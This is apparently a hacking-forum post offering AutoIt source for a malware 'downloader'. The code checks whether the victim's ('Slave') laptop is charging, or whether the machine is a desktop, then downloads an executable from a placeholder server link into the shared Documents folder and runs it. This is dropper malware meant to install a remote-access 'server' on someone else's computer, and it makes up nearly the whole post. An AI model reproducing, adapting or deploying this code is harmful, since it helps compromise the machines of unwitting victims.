[The Rage]

Hello

this is new Downloader with different idea , the Downloader detect if the Slave Connected his
laptop to Charge or No if connected then download & execute your Server if Not connected then
won't Execute until the Slave Do it.

But what if the device is not portable & Laptops?

The program will download and run the server, regardless of the type of device laptop or desktop...etc

Coded in Autoit :-

Code

AdlibRegister("AC_EXPLOIT", 1000)
Global $DONE,$DIR = "PUT YOU SERVER LINK HERE"
Func GET_SYSTEM_POWER_STATUS()
Local $TAG_SYSTEM_POWER_STATUS,$SYSTEM_POWER_STATUS,$KERNEL32,$INFORMATION[5]
$TAG_SYSTEM_POWER_STATUS = "byte ACLineStatus;byte BatteryFlag;byte BatteryLifePercent;byte Reserved1;int BatteryLifeTime;int BatteryFullLifeTime"
$SYSTEM_POWER_STATUS     = DllStructCreate($TAG_SYSTEM_POWER_STATUS)
$KERNEL32            = DllCall("kernel32.dll","bool","GetSystemPowerStatus","struct*",$SYSTEM_POWER_STATUS)
IF @ERROR OR NOT $KERNEL32[0] THEN RETURN SETERROR(@ERROR,@EXTENDED,FALSE)
$INFORMATION[0] = DllStructGetData($SYSTEM_POWER_STATUS,1)
$INFORMATION[1] = DllStructGetData($SYSTEM_POWER_STATUS,2)
$INFORMATION[2] = DllStructGetData($SYSTEM_POWER_STATUS,3)
$INFORMATION[3] = DllStructGetData($SYSTEM_POWER_STATUS,5)
$INFORMATION[4] = DllStructGetData($SYSTEM_POWER_STATUS,6)
RETURN $INFORMATION
EndFunc
Func AC_EXPLOIT()
Local $BATTRY_STATUS,$AC_STATUS,$DATA = GET_SYSTEM_POWER_STATUS()
Switch $DATA[1]
               Case 0,1,2,4
                     $BATTRY_STATUS = False
               Case 128
                     InetGet($DIR,@DOCUMENTSCOMMONDIR&"\downloader.exe",1)
                     ShellExecute(@DOCUMENTSCOMMONDIR&"\downloader.exe")
               Case 8
                     $BATTRY_STATUS = True
                          Switch $DATA[0]
                         Case 0
                           $AC_STATUS = False
                         Case 1
                           $AC_STATUS = True
                          EndSwitch
EndSwitch
IF $BATTRY_STATUS = True And $AC_STATUS = True Then InetGet($DIR,@DOCUMENTSCOMMONDIR&"\downloader.exe",1)
   ShellExecute(@DOCUMENTSCOMMONDIR&"\downloader.exe")
   IF NOT @ERROR Then $DONE = True
EndFunc
Do
Until $DONE = True